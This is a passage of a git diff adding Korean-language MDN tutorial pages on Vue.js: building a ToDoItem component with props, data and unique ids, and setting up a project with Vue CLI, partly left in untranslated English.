Vue 컴포넌트는 앱의 데이터를 관리하는 JavaScript 객체와 기본 DOM 구조에 매핑되는 HTML 기반 템플릿 구문을 조합해 작성된다. Vue를 설치하고 고급 기능(예: 단일 파일 컴포넌트, render 함수 등)을 사용하려면 node + npm이 설치된 터미널이 필요하다.

+
목적:Vue 컴포넌트를 생성하는 법을 배운다. 컴포넌트를 다른 컴포넌트 내부에 render하는 방법, props를 이용해 데이터를 전달하는 방법과 상태를 저장하는 방법을 배운다.
+ +

ToDoItem 컴포넌트 만들기

+ +

각각의 할 일 항목 (To-Do Item)을 표시해줄 첫 번째 컴포넌트를 작성해봅시다. 이 항목이 모여서 Todo List가 될 것입니다.

+ +
    +
  1. moz-todo-vue/src/components 디렉토리 안에  ToDoItem.vue라는 이름으로 파일을 생성하고, 에디터에서 파일을 열어주세요.
  2. +
  3. 파일 상단에 <template> </template> 태그를 추가해 컴포넌트의 템플릿 섹션을 만들어주세요.
  4. +
  5. 템플릿 섹션 밑에 <script></script> 섹션을 생성하세요.  <script> 태그 안에 default export 오브젝트 export default {}를 추가하세요. 이것이 바로 우리가 만들고 있는 컴포넌트 오브젝트입니다.
  6. +
+ +

여기까지 잘 따라하셨다면 ToDoItem.vue 파일이 아래와 같은 형태가 됩니다.

+ +
<template> </template>
+<script>
+  export default {};
+</script>
+ +

이제 ToDoItem에 내용을 추가해보겠습니다. Vue 2의 템플릿은 단일 루트 엘리멘트만을 허용합니다. 즉, 템플릿 섹션 안의 모든 것을 포함하는 하나의 엘리멘트가 존재해야 합니다.  (Vue 3에서는 다중 루트 엘리멘트를 지원합니다!) 여기서는 <div> 를 루트 엘리멘트로 지정하겠습니다.

+ +
    +
  1. +

    우선 템플릿 섹션에 빈 <div> 를 추가하세요.

    +
  2. +
  3. +

    <div> 안에 체크박스와 레이블을 추가해보겠습니다. 아래와 같이 체크박스에 id 를 추가하고, 체크박스 id를 레이블에 매핑하는 for 속성을 추가합니다.

    + +
    <template>
    +  <div>
    +    <input type="checkbox" id="todo-item" checked="false" />
    +    <label for="todo-item">My Todo Item</label>
    +  </div>
    +</template>
    +
  4. +
+ +

앱 안에서 TodoItem 컴포넌트 사용하기

+ +

아주 잘 하고 있어요. 그런데 아직 우리 앱에 컴포넌트를 추가하지 않았기 때문에 잘 작동하는지 테스트할 방법이 없네요. 이제 앱에 컴포넌트를 등록해봅시다. 

+ +
    +
  1. +

    App.vue 파일을 다시 열어주세요.

    +
  2. +
  3. +

    <script> 태그 상단에 다음을 추가해 ToDoItem 컴포넌트를 임포트하세요:

    + +
    import ToDoItem from './components/ToDoItem.vue';
    +
  4. +
  5. +

    컴포넌트 오브젝트 내부에 components 속성을 추가하고, 여기에 ToDoItem 컴포넌트를 등록하세요.

    +
  6. +
+ +

이제 <script> 내부가 이런 모양이 되었을 것입니다.

+ +
import ToDoItem from './components/ToDoItem.vue';
+
+export default {
+  name: 'app',
+  components: {
+    ToDoItem
+  }
+};
+ +

이전글에서 Vue CLI가 HelloWorld 컴포넌트를 등록했던 것과 같은 방식입니다. 

+ +

ToDoItem 컴포넌트를 앱에 실제로 렌더링하려면 <template> 태그 안에서 <to-do-item></to-do-item> 요소를 사용해야 합니다. JavaScript에서 컴포넌트 파일의 이름과 그 표현은 항상 어퍼카멜케이스(e.g. ToDoList)를 사용하며, 해당 커스텀 엘리멘트는 하이픈으로 연결된 소문자(e.g. <to-do-list>)로 표현합니다.

+ +
    +
  1. <h1> 아래에 리스트 아이템(<li>)을 포함하는 비정렬 리스트(<ul>)를 생성합니다.
  2. +
  3. 리스트 아이템 안에 <to-do-item></to-do-item>을 추가합니다.
  4. +
+ +

App.vue <template> 은 아래와 같은 모양이 될 것입니다. 

+ +
<div id="app">
+  <h1>To-Do List</h1>
+  <ul>
+    <li>
+      <to-do-item></to-do-item>
+    </li>
+  </ul>
+</div>
+ +

렌더링된 앱을 다시 확인해보면 체크박스와 레이블로 구성된 ToDoItem 이 보일 것입니다.

+ +

The current rendering state of the app, which includes a title of To-Do List, and a single checkbox and label

+ +

props를 사용해 컴포넌트를 동적으로 만들기

+ +

현재 상태로는 ToDoItem 컴포넌트를 한 페이지에 한 번만 표시할 수 있고(고유 ID가 있어야 함) 레이블 텍스트를 설정할 방법도 없습니다. 동적인 요소가 전혀 없는 상태입니다. 

+ +

컴포넌트를 동적으로 만들기 위해서는 컴포넌트의 state(상태)가 필요합니다. 컴포넌트에 props를 추가해 컴포넌트에 상태를 부여할 수 있습니다. props를 함수의 입력이라고 생각하면 이해가 쉬울 것입니다. props 값은 컴포넌트에 초기 상태(initial state)를 부여합니다.

+ +

props 등록하기

+ +

Vue에서는 props를 등록하는 방법이 두 가지 있습니다.

+ + + +
+

Note: prop의 유효성 검증은 개발 모드에서만 이루어지기 때문에, 상용에서는 이것에 의존해서는 안됩니다. 그리고 이 prop 검증 기능은 컴포넌트 인스턴스가 생성되기 전에 호출되기 때문에 컴포넌트의 상태나 다른 prop에는 접근할 수 없습니다. 

+
+ +

여기서는 오브젝트 등록 방식을 사용해 props를 등록해보겠습니다.

+ +
    +
  1. ToDoItem.vue 파일을 열어주세요.
  2. +
  3. export default {} 오브젝트 안에 props 속성을 추가하고 빈 오브젝트를 만들어주세요.
  4. +
  5. 이 오브젝트 안에 label 과 done 을 키로 사용하는 속성을 추가하세요.
  6. +
  7. label 키의 값은 두 개의 속성을 갖는 오브젝트입니다. +
      +
    1. 첫 번째는 required 속성입니다. 이 속성의 값을 true로 지정하겠습니다. 이 컴포넌트의 모든 인스턴스가 레이블 필드를 반드시 가져야 한다는 의미입니다. 만약 ToDoItem 컴포넌트가 레이블 필드를 갖지 않으면 Vue가 경고해줄 것입니다.
    2. +
    3. 두 번째는 type 속성입니다. 이 속성의 값을 JavaScript String(대문자 S)타입으로 설정합니다. 이렇게 하면 label prop이 스트링 값을 가질 것임을 Vue에게 알려줄 수 있습니다. 
    4. +
    +
  8. +
  9. 이제 done prop으로 넘어가겠습니다. +
      +
    1. 먼저 default 필드를 추가하고, false 값을 지정합니다. 이것은 ToDoItem 컴포넌트가 done prop을 받지 못했을 때, 기본값으로 false를 갖는다는 의미입니다. his means that when no done prop is passed to a ToDoItem component, the done prop will will have a value of false(기본값을 항상 설정할 필요는 없습니다. 필수가 아닌 props에 대해서만 default를 지정하면 됩니다).
    2. +
    3. 다음으로 type 필드를 추가합니다. 값은 Boolean으로 지정합니다. 이 prop이 JavaScript 불리언 타입을 가질 것임을 Vue에게 알려주는 것입니다.
    4. +
    +
  10. +
+ +

이제 컴포넌트 오브젝트는 아래와 같은 모양이 될 것입니다.

+ +
<script>
+  export default {
+    props: {
+      label: { required: true, type: String },
+      done: { default: false, type: Boolean }
+    }
+  };
+</script>
+ +

등록한 props 사용하기

+ +

With these props defined inside the component object, we can now use these variable values inside our template. Let's start by adding the label prop to the component template.

+ +

In your <template>, replace the contents of the <label> element with \{{label}}.

+ +

\{{}} is a special template syntax in Vue, which lets us print the result of JavaScript expressions defined in our class, inside our template, including values and methods. It’s important to know that content inside \{{}} is displayed as text and not HTML. In this case, we’re printing the value of the label prop.

+ +

Your component’s template section should now look like this:

+ +
<template>
+  <div>
+    <input type="checkbox" id="todo-item" checked="false" />
+    <label for="todo-item">\{{label}}</label>
+  </div>
+</template>
+ +

Go back to your browser and you'll see the todo item rendered as before, but without a label (oh no!). Go to your browser's DevTools and you’ll see a warning along these lines in the console:

+ +
[Vue warn]: Missing required prop: "label"
+
+found in
+
+---> <ToDoItem> at src/components/ToDoItem.vue
+       <App> at src/App.vue
+         <Root>
+
+ +

This is because we marked the label as a required prop, but we never gave the component that prop — we've defined where inside the template we want it used, but we haven't passed it into the component when calling it. Let’s fix that.

+ +

Inside your App.vue file, add a label prop to the <to-do-item></to-do-item> component, just like a regular HTML attribute:

+ +
<to-do-item label="My ToDo Item"></to-do-item>
+ +

Now you'll see the label in your app, and the warning won't be spat out in the console again.

+ +

So that's props in a nutshell. Next we'll move on to how Vue persists data state.

+ +

Vue의 data object

+ +

If you change the value of the label prop passed into the <to-do-item></to-do-item> call in your App component, you should see it update. This is great. We have a checkbox, with an updatable label. However, we're currently not doing anything with the "done" prop — we can check the checkboxes in the UI, but nowhere in the app are we recording whether a todo item is actually done.

+ +

To achieve this, we want to bind the component's done prop to the checked attribute on the <input> element, so that it can serve as a record of whether the checkbox is checked or not. However, it's important that props serve as one-way data binding — a component should never alter the value of its own props. There are a lot of reasons for this. In part, components editing props can make debugging a challenge. If a value is passed to multiple children, it could be hard to track where the changes to that value were coming from. In addition, changing props can cause components to re-render. So mutating props in a component would trigger the component to rerender, which may in-turn trigger the mutation again.

+ +

To work around this, we can manage the done state using Vue’s data property. The data property is where you can manage local state in a component, it lives inside the component object alongside the props property and has the following structure:

+ +
data() {
+  return {
+    key: value
+  }
+}
+ +

You'll note that the data property is a function. This is to keep the data values unique for each instance of a component at runtime — the function is invoked separately for each component instance. If you declared data as just an object, all instances of that component would share the same values. This is a side-effect of the way Vue registers components and something you do not want.

+ +

You use this to access a component's props and other properties from inside data, as you may expect. We'll see an example of this shortly.

+ +
+

Note: Because of the way that this works in arrow functions (binding to the parent’s context), you wouldn’t be able to access any of the necessary attributes from inside data if you used an arrow function. So don’t use an arrow function for the data property.

+
+ +

So let's add a data property to our ToDoItem component. This will return an object containing a single property that we'll call isDone, whose value is this.done.

+ +

Update the component object like so:

+ +
export default {
+  props: {
+    label: { required: true, type: String },
+    done: { default: false, type: Boolean }
+  },
+  data() {
+    return {
+      isDone: this.done
+    };
+  }
+};
+ +

Vue does a little magic here — it binds all of your props directly to the component instance, so we don’t have to call this.props.done. It also binds other attributes (data, which you’ve already seen, and others like methods, computed, etc.) directly to the instance. This is, in part, to make them available to your template. The down-side to this is that you need to keep the keys unique across these attributes. This is why we called our data attribute isDone instead of done.

+ +

So now we need to attach the isDone property to our component. In a similar fashion to how Vue uses \{{}} expressions to display JavaScript expressions inside templates, Vue has a special syntax to bind JavaScript expressions to HTML elements and components: v-bind. The v-bind expression looks like this:

+ +
v-bind:attribute="expression"
+ +

In other words, you prefix whatever attribute/prop you want to bind to with v-bind:. In most cases, you can use a shorthand for the v-bind property, which is to just prefix the attribute/prop with a colon. So :attribute="expression" works the same as v-bind:attribute="expression".

+ +

So in the case of the checkbox in our ToDoItem component, we can use v-bind to map the isDone property to the checked attribute on the <input> element. Both of the following are equivalent:

+ +
<input type="checkbox" id="todo-item" v-bind:checked="isDone" />
+
+<input type="checkbox" id="todo-item" :checked="isDone" />
+ +

You're free to use whichever pattern you would like. It's best to keep it consistent though. Because the shorthand syntax is more commonly used, this tutorial will stick to that pattern.

+ +

So let's do this. Update your <input> element now to replace checked="false" with :checked="isDone".

+ +

Test out your component by passing :done="true" to the ToDoItem call in App.vue. Note that you need to use the v-bind syntax, because otherwise true is passed as a string. The displayed checkbox should be checked.

+ +
<template>
+  <div id="app">
+    <h1>My To-Do List</h1>
+    <ul>
+      <li>
+        <to-do-item label="My ToDo Item" :done="true"></to-do-item>
+      </li>
+    </ul>
+  </div>
+</template>
+
+ +

Try changing true to false and back again, reloading your app in between to see how the state changes.

+ +

Todos에 고유 id 부여하기

+ +

Great! We now have a working checkbox where we can set the state programmatically. However, we can currently only add one ToDoList component to the page because the id is hardcoded. This would result in errors with assistive technology since the id is needed to correctly map labels to their checkboxes. To fix this, we can programmatically set the id in the component data.

+ +

We can use the lodash package's uniqueid() method to help keep the index unique. This package exports a function that takes in a string and appends a unique integer to the end of the prefix. This will be sufficient for keeping component ids unique.

+ +

Let’s add the package to our project with npm; stop your server and enter the following command into your terminal:

+ +
npm install --save lodash.uniqueid
+ +
+

Note: If you prefer yarn, you could instead use yarn add lodash.uniqueid.

+
+ +

We can now import this package into our ToDoItem component. Add the following line at the top of ToDoItem.vue’s <script> element:

+ +
import uniqueId from 'lodash.uniqueid';
+ +

Next, add add an id field to our data property, so the component object ends up looking like so (uniqueId() returns the specified prefix — todo- — with a unique string appended to it):

+ +
import uniqueId from 'lodash.uniqueid';
+
+export default {
+  props: {
+    label: { required: true, type: String },
+    done: { default: false, type: Boolean }
+  },
+  data() {
+    return {
+      isDone: this.done,
+      id: uniqueId('todo-')
+    };
+  }
+};
+ +

Next, bind the id to both our checkbox’s id attribute and the label’s for attribute, updating the existing id and for attributes as shown:

+ +
<template>
+  <div>
+    <input type="checkbox" :id="id" :checked="isDone" />
+    <label :for="id">\{{label}}</label>
+  </div>
+</template>
+ +

정리

+ +

And that will do for this article. At this point we have a nicely-working ToDoItem component that can be passed a label to display, will store its checked state, and will be rendered with a unique id each time it is called. You can check if the unique ids are working by temporarily adding more <to-do-item></to-do-item> calls into App.vue, and then checking their rendered output with your browser's DevTools.

+ +

Now we're ready to add multiple ToDoItem components to our App. In our next article we'll look at adding a set of todo item data to our App.vue component, which we'll then loop through and display inside ToDoItem components using the v-for directive.  

+ +

{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}

+ +

In this module

+ + diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html new file mode 100644 index 0000000000..0ea628b883 --- /dev/null +++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html @@ -0,0 +1,293 @@ +--- +title: Vue 시작하기 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}
+ +

이제 우리가 배울 세 번째 프레임워크인 Vue를 소개하겠습니다. 이 글에서 우리는 Vue에 대한 간단한 배경지식을 얻고, Vue를 설치하고 새로운 프로젝트를 만드는 방법을 배웁니다. 또한 전체 프로젝트와 컴포넌트의 주요 구조를 공부하고, 로컬에서 프로젝트를 실행하는 방법을 살펴본 후 예제 프로젝트를 구성해봅니다.

+ + + + + + + + + + + + +
사전 요구 사항: +

코어 HTMLCSSJavaScript 언어에 익숙함. 터미널/커맨드라인에 대한 지식.
+
+ Vue 컴포넌트는 앱의 데이터를 관리하는 JavaScript 객체와 기본 DOM 구조에 매핑되는 HTML 기반 템플릿 구문을 조합해 작성된다. Vue를 설치하고 고급 기능(예: 단일 파일 컴포넌트, render 함수 등)을 사용하려면 node + npm이 설치된 터미널이 필요하다.

+
목적:Vue 로컬 개발 환경을 구성한다. 스타터 앱을 만들고 기본적인 동작 원리를 이해한다.
+ +

더 선명한 Vue

+ +

Vue는 최신의 JavaScript 프레임워크로 점진적 향상을 위한 유용한 기능을 제공합니다. 다른 많은 프레임워크와는 달리, Vue를 사용하면 기존의 HTML 코드를 향상시킬 수 있습니다. 이를 통해 아주 쉽게 JQuery 등의 라이브러리를 Vue로 대체할 수 있습니다. 

+ +

물론 Vue를 이용해 완전한 단일 페이지 애플리케이션(SPA)을 작성할 수도 있습니다. 이렇게 하면 전체적으로 Vue가 관리하는 마크업을 만들 수 있고, 복잡한 애플리케이션에 대한 개발자 경험과 성능을 향상시킬 수 있습니다. 필요하다면 클라이언트 사이드 라우팅 및 상태 관리 라이브러리를 활용할 수 있다는 장점도 있습니다. Vue는 이와 같은 클라이언트 사이드 라우팅이나 상태 관리에 대해 "미들 그라운드" 접근 방식을 취합니다. Vue 코어 팀은 이런 기능을 위한 (vue-router, vuex 등의) 라이브러리를 유지보수하고 있지만, Vue에 직접 번들로 제공하지는 않습니다. 그러므로 우리가 만들 애플리케이션에 더 적합한 라우팅/상태 관리 라이브러리가 있다면 그것을 선택할 수 있습니다. 

+ +

Vue는 애플리케이션에 Vue를 점진적으로 통합시킬 수 있도록 하며, 마크업 작성에 대해서도 점진적 접근법을 제공합니다. 다른 많은 프레임워크처럼, Vue에서도 컴포넌트를 통해 재사용 가능한 마크업 블록을 생성할 수 있습니다. 대부분의 경우 Vue 컴포넌트는 특별한 HTML 템플릿 구문으로 작성됩니다. HTML에서 가능한 것 이상의 제어가 필요하다면, JSX나 일반 JavaScript 함수를 이용해 컴포넌트를 정의할 수 있습니다. 

+ +

이 튜토리얼을 진행하는 동안, 다른 탭에 Vue 가이드 와 API 문서를 열어 두고 각 항목에 대해 더 자세한 정보가 필요할 때 참조하세요. Vue와 다른 프레임워크 간의 비교(편향될 가능성 있음)는 Vue 문서: 다른 프레임워크와의 비교를 참조하세요.

+ +

설치하기

+ +

기존 사이트에서 Vue를 사용하려면 아래 <script> 요소 중 하나를 페이지에 추가하면 됩니다. 이 한 줄을 추가하는 것만으로 기존의 사이트에서 Vue를 사용할 수 있습니다. Vue가 자칭 '프로그레시브 프레임워크'임을 강조하는 이유가 바로 이것입니다. JQuery 등의 라이브러리를 사용하는 기존 프로젝트를 Vue로 마이그레이션하려고 할 때 아주 좋은 옵션입니다. 이 방식으로 속성, 커스텀 컴포넌트, 데이터 관리 등 수많은 Vue의 핵심 기능을 사용할 수 있게 됩니다. 

+ + + +

하지만 이 방식은 한계가 있습니다. 좀 더 복잡한 앱을 구성하려면 Vue NPM package를 사용하는 것이 좋습니다. Vue NPM 패키지를 사용하면 Vue의 고급 기능을 이용할 수 있고, WebPack 같은 번들 도구를 활용할 수 있습니다. 그리고 Vue CLI를 사용하면 개발 과정을 간소화해 Vue 앱을 더욱 쉽게 구성할 수 있습니다. npm 패키지와 CLI를 사용하기 위해 필요한 사항은 다음과 같습니다.

+ +
    +
  1. Node.js 8.11 이상 설치
  2. +
  3. npm 또는 yarn
  4. +
+ +
+

Note: 아직 위 항목을 설치하지 않았다면, more about installing npm and Node.js 를 참고하세요.

+
+ +

CLI를 설치하기 위해 아래 커맨드를 터미널에서 실행하세요.
+ npm을 사용하는 경우:

+ +
npm install --global @vue/cli
+ +

yarn을 사용하는 경우:

+ +
yarn global add @vue/cli
+ +

설치가 모두 완료되면, 프로젝트를 생성할 디렉토리에서 터미널을 열고 vue create <프로젝트 이름> 를 실행해봅시다. 그러면 Vue CLI는 우리가 사용할 수 있는 프로젝트 구성 목록을 보여줄 것입니다. 미리 설정되어 있는 몇 가지 구성 중 골라서 사용해도 되고, 모든 것을 직접 구성할 수도 있습니다. 이 옵션을 통해 우리는 TypeScript, linting, vue-router, 테스트 등의 항목을 구성할 수 있습니다.

+ +

더 자세한 내용은 아래에서 살펴보겠습니다.

+ +

새로운 프로젝트 시작하기

+ +

Vue의 다양한 기능을 알아보기 위해, 예제로 할 일 목록(todo list) 앱을 만들어보려고 합니다. Vue CLI를 사용해서 새로운 앱을 구성해봅시다. 아래 내용을 순서대로 따라해보세요:

+ +
    +
  1. 터미널에서 cd <디렉토리>를 입력해 샘플 앱을 만들 위치로 이동하고,  vue create moz-todo-vue를 실행하세요.
  2. +
  3. 방향키와 Enter를 사용해 "Manually select features" 옵션을 선택하세요.
  4. +
  5. 첫 번째 메뉴에서 프로젝트에 포함하고 싶은 기능들을 선택할 수 있습니다. "Babel"과 "Linter / Formatter"가 선택되어 있나요? 선택되어 있지 않다면 방향키와 스페이스바를 사용해 선택해주세요. 그리고 Enter를 누릅니다.
  6. +
  7. 다음으로 linter / formatter 구성을 선택하겠습니다. "Eslint with error prevention only"로 이동하고 다시 Enter를 눌러주세요. 흔히 생기는 에러를 잡는데 도움을 주면서도 너무 엄격하지는 않은 옵션을 선택했습니다.
  8. +
  9. 다음은 자동 lint를 어떤 방식으로 하고 싶은지 묻는 메세지가 표시될 것입니다. "Lint on save"를 선택하세요. 우리가 프로젝트 내부의 파일을 저장할 때 에러를 체크하라는 의미입니다. 이제 Enter 를 누르세요.
  10. +
  11. 이제 구성 파일을 어떻게 관리할지 선택해야 합니다. "In dedicated config files" 옵션을 선택하면 ESLint와 같은 것들의 구성 설정을 그들의 전용 파일에 넣게 됩니다. "In package.json" 옵션의 경우, 모든 구성 설정을 앱의 package.json 파일에 넣습니다. 우선 지금은 "In dedicated config files" 옵션을 선택하고 Enter를 누릅시다.
  12. +
  13. 마지막으로, 지금까지 설정한 내용을 다음에 다시 사용하고 싶은지(현재 설정을 사전 설정 목록에 추가하고 싶은지) 묻는 메세지가 표시됩니다. 이 부분은 여러분이 하고 싶은대로 하시면 돼요. 만약 이 설정을 다음에도 다시 사용하고 싶다면 y를, 아니라면 n을 누르세요.
  14. +
+ +

이제 CLI가 우리의 프로젝트를 위한 발판을 만들기 시작하고 우리의 앱을 위한 모든 디펜던시를 설치할 것입니다. 

+ +

만약 이전에 한 번도 Vue CLI를 사용해본 적 없다면, 위에서 설명하지 않은 질문이 한 가지 더 표시될 것입니다. 패키지 매니저를 고르라는 메세지가 나타나면, 여러분이 선호하는 것을 고르면 됩니다. 지금부터는 여러분이 선택한 패키지 매니저(npm / yarn)가 기본값으로 설정됩니다. 만약 이 기본값을 변경하고 싶다면 vue create 커맨드를 실행할 때 --packageManager=<package-manager> 플래그를 추가하면 됩니다. 다시 말해, 만약 여러분이 이전에 yarn을 사용했지만 다음에는 npm을 사용하도록 프로젝트를 생성하고 싶다면 vue create moz-todo-vue --packageManager=npm을 실행하면 됩니다.

+ +
+

Note: 모든 옵션을 여기서 설명하지는 않았습니다. 자세한 내용은 find more information on the CLI 를 참고하세요.

+
+ +

프로젝트 구조

+ +

위의 모든 내용이 성공적으로 진행됐다면, Vue CLI가 우리의 프로젝트에 사용할 디렉토리와 파일을 생성했을 것입니다. 다음은 그 중 가장 중요한 파일과 디렉토리에 대한 설명입니다.

+ + + +
+

Note: 새로운 프로젝트를 생성할 때 어떤 옵션을 선택했는지에 따라, 위에 소개되지 않은 디렉토리가 생길 수도 있습니다. 예를 들어 router 옵션을 선택했다면 views가 생성됩니다.

+
+ +

.vue 파일 (단일 파일 컴포넌트)

+ +

다른 많은 프론트엔드 프레임워크와 마찬가지로, Vue 앱을 구축할 때도 컴포넌트가 중심적인 역할을 합니다. 대규모 애플리케이션을 여러 개의 개별 컴포넌트로 분리해 별도로 생성/구축하고, 필요한 경우 각 컴포넌트간에 데이터를 주고 받을 수 있습니다. 이 작은 블록들은 우리가 코드에 대해 추론하고 테스트하기 쉽도록 도와줍니다.

+ +

일부 프레임워크에서는 템플릿과 로직, 스타일링 코드를 각각 분리된 파일에 작성하기를 권장하지만, Vue는 이와 정반대의 방식을 채택합니다. 단일 파일 컴포넌트(Single File Components)를 사용하면, Vue는 템플릿과 이에 대응하는 스크립트, CSS를 모두 하나의 .vue 파일에 묶어서 작성하도록 합니다. 이 파일들은 Webpack과 같은 JS 빌드 도구를 통해 처리됩니다. 그러므로 프로젝트에서 빌드 타임 도구들을 사용할 수 있다는 장점이 있습니다. 즉 우리는 Bable, TypeScript, SCSS 같은 도구를 사용해 더욱 정교한 컴포넌트를 생성할 수 있습니다.

+ +

게다가 Vue CLI로 생성한 프로젝트는 즉시 Webpack과 함께 .vue 파일을 사용할 수 있도록 구성됩니다. 우리가 Vue CLI로 생성한 예제 프로젝트의 src 폴더를 열어 보면 App.vue가 생성된 것을 확인할 수 있습니다.

+ +

이제 App.vue를 좀 더 알아봅시다.

+ +

App.vue

+ +

App.vue 파일을 열어보세요. 이 파일이 세 부분으로 이루어져 있다는 것을 바로 확인할 수 있습니다. 바로 컴포넌트 템플릿을 정의하는 <template> 파트, 스크립트를 작성하는 <script> 파트, 그리고 스타일링 정보를 작성하는 <style> 파트입니다. 모든 단일 파일 컴포넌트는 이러한 기본 구조로 이루어져 있습니다.

+ +

<template> 은 컴포넌트의 모든 마크업 구조와 디스플레이 로직을 포함합니다. 이 템플릿은 HTML 구문은 물론이고, 일부 Vue에 특화된 구문도 포함할 수 있습니다. Vue 관련 구문은 나중에 더 자세히 알아보겠습니다.

+ +
+

Note: <template> 태그에 lang 속성을 지정해 표준 HTML 대신 Pug 템플릿을 사용할 수 있습니다: <template lang="pug">. 이 튜토리얼에서는 표준 HTML을 계속 사용할 예정이지만, 이렇게 Pug 등의 다른 템플릿을 사용할 수도 있다는 걸 소개해보았습니다.

+
+ +

<script>는 컴포넌트 화면에 표시되지 않는 모든 로직을 포함하고 있습니다. 가장 중요한 것은 <script> 태그 안에 반드시 기본으로 export되는 (하단 코드의 export default 구문 참고) JS 오브젝트가 있어야 한다는 것입니다. 이 오브젝트에서 로컬 컴포넌트 등록, 컴포넌트 인풋(props) 정의, 로컬 상태 관리, 메서드 정의 등 작업이 이루어집니다. 빌드 단계에서 이 오브젝트가 처리되고, 템플릿과 함께 render() 함수를 통해 Vue 컴포넌트로 변환됩니다. 

+ +

App.vue를 살펴보면, 현재 default export 오브젝트는 컴포넌트 이름을 app으로 설정하고 components 속성에 HelloWorld 컴포넌트를 등록합니다. 이런 식으로 컴포넌트를 등록하면 로컬 컴포넌트가 됩니다. 이렇게 로컬로 등록된 컴포넌트는 이 컴포넌트를 등록한 상위 컴포넌트 내부에서만 사용할 수 있으므로, 각각의 컴포넌트 파일에서 필요한 컴포넌트를 임포트하고 등록해야 합니다. 앱의 모든 페이지가 모든 컴포넌트를 사용하는 것은 아니기 때문에, 번들 분할/트리 쉐이킹에 유용한 기능입니다. 

+ +
import HelloWorld from './components/HelloWorld.vue';
+
+export default {
+  name: 'app',
+  components: {
+    //You can register components locally here.
+    HelloWorld
+  }
+};
+ +
+

Note: TypeScript 문법을 사용하고 싶다면, <script> 태그 안에 lang 속성을 설정해 컴파일러에게 TypeScript를 사용하고 있다고 알려주세요: <script lang="ts">

+
+ +

<style> 에는 컴포넌트에서 사용할 CSS를 포함합니다. <style scoped>와 같이 scoped 속성을 추가하면 Vue는 그 안의 내용을 SFC(단일 파일 컴포넌트) 내부 범위에서만 적용합니다. CSS-in-JS 방식과 비슷하게 동작하지만, 여기서는 일반 CSS 구문을 작성할 수 있다는 차이점이 있습니다. 

+ +
+

Note: CLI로 프로젝트를 생성할 때 CSS 전처리기를 선택했다면, 빌드타임에 Webpack에서 내용을 처리할 수 있도록 <style> 태그에 lang 속성을 추가할 수 있습니다. 예를 들어 <style lang="scss"> 라고 작성하면 스타일링 정보에 SCSS 문법을 사용할 수 있습니다. 

+
+ +

로컬에서 앱 실행하기

+ +

Vue CLI는 개발 서버를 내장하고 있습니다. 앱을 로컬로 실행할 수 있기 때문에, 직접 서버를 구성할 필요 없이 쉽게 테스트해볼 수 있습니다. 프로젝트의 package.json 파일을 열어보면, CLI가 npm 스크립트로 serve 명령어를 추가해놓은 것을 확인할 수 있습니다. 

+ +

터미널을 열고,  npm run serve (yarn을 사용한다면 yarn serve)를 실행해보세요. 아래 내용이 나타날 것입니다.

+ +
INFO  Starting development server...
+98% after emitting CopyPlugin
+
+ DONE  Compiled successfully in 18121ms
+
+  App running at:
+  - Local:   <http://localhost:8080/>
+  - Network: <http://192.168.1.9:8080/>
+
+  Note that the development build is not optimized.
+  To create a production build, run npm run build.
+ +

브라우저 탭을 열고 위의 “local” 주소로 (위 내용처럼 http://localhost:8080이거나 설정에 따라 다를 수 있음) 이동해보면, 아래 사진과 같은 앱이 나타날 것입니다. 환영 메시지, Vue 문서 링크, 우리가 선택한 CLI 플러그인 링크, 기타 유용한 Vue 커뮤니티와 생태계 링크 등이 표시되고 있습니다.

+ +

default vue app render, with vue logo, welcome message, and some documentation links

+ +

약간의 변경 사항 적용하기

+ +

일단 Vue 로고를 제거합시다. App.vue 파일을 열고, 템플릿 섹션에서 <img> 요소를 지워보세요.

+ +
<img alt="Vue logo" src="./assets/logo.png">
+ +

서버가 아직 실행중이라면, 거의 즉시 로고가 제거되는 것을 확인할 수 있을 것입니다. 템플릿 섹션에서 HelloWorld 컴포넌트도 삭제해봅시다.

+ +

가장 먼저 아래 라인을 지워주세요.

+ +
<HelloWorld msg="Welcome to Your Vue.js App"/>
+ +

이제 App.vue 파일을 저장해보면 HelloWorld 컴포넌트를 등록했으나 사용하지 않았다는 에러가 발생할 것입니다. 해당 컴포넌트를 임포트하고 등록하는 코드 역시 지워야 합니다.

+ +

이제 아래 라인도 삭제해보세요.

+ +
import HelloWorld from './components/HelloWorld.vue'
+ +
components: {
+  HelloWorld
+}
+ +

이제 더는 에러가 발생하지 않는 것을 확인할 수 있습니다. 다만 <template> 파트에 표시할 내용이 없기 때문에 빈 페이지만 보일 것입니다. 

+ +

그럼 이제 <div id="app"> 안에 <h1> 요소를 추가해보세요. 우리는 todo list 앱을 만들 거니까, 헤더 텍스트를 "To-Do List"라고 작성해봅시다.

+ +
<template>
+  <div id="app">
+    <h1>To-Do List</h1>
+  </div>
+</template>
+ +

App.vue 는 우리가 원했던 대로 'To-Do List'라는 내용의 헤더를 표시할 것입니다!

+ +

정리

+ +

우리는 이 장에서 Vue에 숨겨진 몇 가지 아이디어를 배우고, 우리의 예제 애플리케이션의 기초 구조를 만들고, 이를 살펴보고, 몇 가지 변경 사항을 적용해보았습니다. 

+ +

이제 기본적인 소개는 끝났으니, 좀 더 나아가서 우리의 샘플 애플리케이션인 To-Do List 앱을 구현해봐야겠죠? 할 일 목록을 저장하고 일을 완료하면 체크하는 기능, 모든 아이템/완료된 아이템/아직 완료되지 않은 아이템을 필터링할 수 있는 기능을 구현해야 합니다.

+ +

다음 글에서는 우리의 첫 커스텀 컴포넌트를 작성하고, props 전달 및 데이터 상태 저장과 같은 몇 가지 중요한 개념을 살펴보겠습니다.

+ +

